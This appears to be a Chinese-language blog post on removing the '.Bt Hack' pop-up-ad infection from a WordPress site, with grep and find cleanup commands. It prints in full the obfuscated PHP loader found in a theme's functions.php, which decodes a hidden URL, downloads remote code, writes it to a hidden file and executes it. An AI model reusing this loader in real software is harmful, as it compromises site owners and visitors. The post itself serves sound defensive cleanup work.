WordPress 站点被挂马清理.Bt Hack(恶意弹窗广告植入)恶意代码的方法。

WordPress 站点被挂马,发现了一个叫.Bt Hack 的入侵代码,主要表现是每 8 个小时左右就会在访客访问的时候弹出一个广告弹窗,广告还会自动切换,并且会根据访客 IP 限制弹窗频率(同一个 IP 只弹出一次),据客户反映,这个问题已经存在很久了,换了好几个服务商都没有解决。

通过多次调试发现,只要有弹窗广告出现,在站点首页“源代码”里就会发现如下图所示的链接和.js 链接(会动态的随机变化,不固定的):

很明显,这是一个植入式的恶意代码,完全是自动生成的,还会根据客户 IP 自动识别调整弹窗策略,凭经验判断这些都是 PHP 恶意代码实现的,而这个恶意代码很有可能是插件、主题里隐藏的。查看了 WordPress 各个目录后发现,分别在wp-includes里出现了一个class-wp-http-netfilter.php文件(包含了大量的 IP 地址)、wp-admin 和 wp-admin/css里都出现了.bt文件。删除这些文件的话,要不了多长时间就会再次被创建出这些文件。

在 WordPress 端基本是没法找到和清理这个恶意代码的,经过一番大量的搜索查找,终于在一些英文站点上找到了有关这个.Bt Hack 的一些基本特征,果然删除起来有点儿小麻烦,需要借助终端下 Linux 命令行才可以,具体操作如下:

首先在当前站点根目录下借助grep命令搜索内容里包含_shaesx_的文件,如下命令(需要耐心等待命令执行完):

grep -Ril "_shaesx_" . 

然后根据结果里的文件位置,编辑这些文件,比如明月搜索到的就是在主题目录下functions.php文件里包含这个_shaesx_,用编辑器打开这个文件后看到如下的代码:


@ini_set('display_errors', '0');
error_reporting(0);
global $zeeta;
if (!$npDcheckClassBgp && !isset($zeeta)) {

   $ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = "Zgc5c8oCrPYgfAwH7Z8bIfCUPxfXN70cmCWIX7HVoQ==";
    
if (!function_exists('get_data_ya')) {
    if (ini_get('allow_url_fopen')) {
        function get_data_ya($m) {
            $data = file_get_contents($m);
            return $data;
        }
    }
    else {
        function get_data_ya($m) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $m);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
    }
}

if (!function_exists('wp_cd')) {
        function wp_cd($fd, $fa="") {
            $fe = "wp_frmfunct";
            $len = strlen($fd);
            $ff = '';
            $n = $len>100 ? 8 : 2;
            while( strlen($ff)<$len ) { $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n); }
            return $fd^$ff;
       }
}
    

    $reqw = $ay($ao($oa("$pass"), 'wp_function'));
    preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
    $dirs = glob("*", GLOB_ONLYDIR);
    foreach ($dirs as $dira) {
      if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
      $subdirs = glob("$dira/*", GLOB_ONLYDIR);
      foreach ($subdirs as $subdira) {
        if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
      }
    }
    if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
    fwrite($hdl, "");
    fclose($hdl);
    include("{$eb}.$algo");
    unlink("{$eb}.$algo");
	$npDcheckClassBgp = 'aue';

	$zeeta = "yup";
    }
    
@include( 'template-config.php' );

error_reporting(0);

 

这就是.Bt Hack 植入的恶意代码了,删除掉这些代码,保留原有的其他代码,保存 PHP 后重启 PHP-FPM 进程即可。

然后是清理掉恶意代码生成的文件,使用 find 里查找即可,如下命令:

find -type f -name ".bt" -o -name ".default" -o -name "template-config.php" -o -name "class-wp-http-netfilter.php" | xargs ls -lh

先查找并列出查找结果以便确认:

find -type f -name ".bt" -o -name ".default" -o -name "template-config.php" -o -name "class-wp-http-netfilter.php" | xargs rm

然后再次查找并删除这些文件。

至此,这个叫.Bt Hack 的广告弹窗恶意代码清理完成了,访问站点首页测试没有再发现有链接和.js 文件再首页的植入,通过 FTP 登录站点根目录也没有发现哪个目录里有新写入的非法文件,大功告成!

文章版权归原作者所有或来自互联网,未经允许请勿转载。如有侵权请联系我删除,谢谢!
THE END
分享
二维码
打赏
< <上一篇
下一篇>>
文章目录
关闭
目 录